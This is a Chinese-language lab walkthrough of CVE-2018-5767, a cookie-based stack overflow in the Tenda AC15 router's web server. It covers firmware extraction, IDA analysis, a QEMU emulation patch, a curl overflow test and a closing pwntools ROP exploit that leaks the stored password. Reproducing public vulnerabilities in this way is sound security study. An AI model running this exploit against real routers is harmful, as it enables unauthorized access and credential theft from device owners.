CVE-2018-5767
这是个比较老的洞,但作为练手再合适不过,涉及到以下几个点:
- 解包与提取文件系统
- IDA Pro漏洞分析
- Patch与QEMU仿真测试
信息收集
从NVD官网上了解到
- 漏洞是存在于Cookie上,既然是Cookie说明漏洞基本上与http服务相关了
- 漏洞相对应的固件为Tenda AC15 V15.03.1.16_multi

通过PoC定位漏洞具体产生的位置,看上去是Cookie中有个password字段产生了溢出

拿到固件file看看信息,Binwalk看看能不能分析出来
iot@iot:~$ file US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin: u-boot legacy uImage, \002, Linux/ARM, OS Kernel Image (lzma), 10227712 bytes, Thu Nov 19 09:36:45 2015, Load Address: 0X80000000, Entry Point: 0XC0008000, Header CRC: 0X73CF0D74, Data CRC: 0X3321F349
iot@iot:~$ binwalk US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 TRX firmware header, little endian, image size: 10227712 bytes, CRC32: 0x314DBDAC, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x198CDC, rootfs offset: 0x0
92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4114848 bytes
1674524 0x198D1C Squashfs filesystem, little endian, version 4.0, compression:xz, size: 8549574 bytes, 741 inodes, blocksize: 131072 bytes, created: 2015-11-19 09:36:43
这信息可不少,指出了是U-boot的镜像,lzma压缩,以及打包时间等
解包与提取文件系统
最简单的方式是binwalk -Me直接提取,不过这里是为了练手所以使用手动提取的方式
根据binwalk给出的偏移量提取出文件系统镜像
iot@iot:~$ dd if=US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin of=Squashfs.image bs=1 count=8549574 skip=1674524
...
iot@iot:~$ file Squashfs.image
Squashfs.image: Squashfs filesystem, little endian, version 4.0, xz compressed, 8549574 bytes, 741 inodes, blocksize: 131072 bytes, created: Thu Nov 19 09:36:43 2015
可以看到提取对了,之后使用unsquashfs对于文件系统镜像进行解压
iot@iot:~$ unsquashfs Squashfs.image
iot@iot:~$ cd squashfs-root
iot@iot:~/squashfs-root$
这里就把整个文件系统还原出来了。
漏洞分析
根据之前获得的信息,找到相对应文件
iot@iot:~/squashfs-root$ find . -name http*
./bin/httpd
iot@iot:~/squashfs-root$ cd bin
iot@iot:~/squashfs-root/bin$ file httpd
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
提出来IDA分析,小端序打开,shift+f12快速找到字段处理的位置,即漏洞点

从漏洞点的逻辑可以看出,首先对于cookie中的字段进行检索,检索到“password=”字段后将字段后的内容复制到p_g_Pass,但这里并没有复制的长度限制

查看p_g_Pass的定义,仅有128字节长度,明显溢出

PATCH与QEMU仿真测试
先用用户模式尝试跑一跑,收集一下是否有关联的服务或者对应的外设
iot@iot-VMware-Virtual-Platform:~/squashfs-root$ sudo chroot ./ ./qemu-arm-static -g 1234 /bin/httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = 0
init_core_dump 1794: open core dump success
sh: can't create /proc/sys/kernel/core_pattern: nonexistent directory
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120
Yes:
****** WeLoveLinux******
Welcome to ...
在Welcome to ...这卡死了,通过字符串搜索看看发生了什么
在输出完这条后进入了一个检查网络的循环,然后是ConnectCfm,这里还不确定发生了什么,就在输入日志这打上断点,然后一步步看是哪里卡死了

貌似找到卡死的地方了,在这个位置一直循环,前一个判断是大于0时跳转,后一个则是不为0跳转到结束函数

Patch改变判断条件试试

过了,但没达到测试的条件,接下来解决IP的问题

创建网桥br0
sudo nmcli connection add type bridge ifname br0 con-name br0
sudo nmcli connection add type ethernet slave-type bridge con-name br0-port ifname eth0 master br0
sudo nmcli connection modify br0 ipv4.method manual ipv4.addresses 192.168.127.100/24 ipv4.gateway 192.168.127.2 ipv4.dns "8.8.8.8 8.8.4.4"
sudo nmcli connection up br0
可以看到分配到了IP,访问测试成功

要想到漏洞所在路径,需要经过一长串的路径判断,大概意思是路径的第一段为goform/,第二段随意填写即可。这里甚至还有个base64编码的admin,估计是初始用户

写个payload测试一下,断点打在漏洞函数处,成功溢出
curl -H "Cookie: password=$(python3 -c "print('A'*0x400)")" "http://192.168.127.100/goform/abcd"
sudo gdb-multiarch
target remote localhost:1234
b *0x0002ED18
c


溢出后函数没有正常返回,可以看到还有另一函数2c5cc,回去看了一眼貌似是2c568中间的一个调用,大概是为了校验未通过后做重定向的,为了不影响,只需要找前面看有没有其他语句能够退出漏洞函数,实现ret2libc


查看ida看到漏洞点后最早的ret是在匹配一堆图片后缀名后开始的也就是说在payload后面加上.png的后缀就会返回,加上后再次测试


成功触发漏洞并且使函数返回了,之后的payload构造就比较简单了,这里考虑到前面有涉及到密码验证的g_Pass,构造rop链使用puts函数应该可以打印出来,exp如下
import requests
from pwn import *
elf = ELF('./bin/httpd')
g_Pass = 0x000E1DBC
vmmap_base = 0xff5d5000
libc = ELF('./lib/libc.so.0')
puts = vmmap_base + libc.sym['puts']
rop = ROP(elf)
rop.call(puts, g_Pass)
URL = "http://192.168.127.100/goform/DeadBeef"
payload = cyclic(0x1c0) + rop.chain()
cookie = {"Cookie":"password="+payload+".png"}
requests.get(url=URL, cookies=cookie)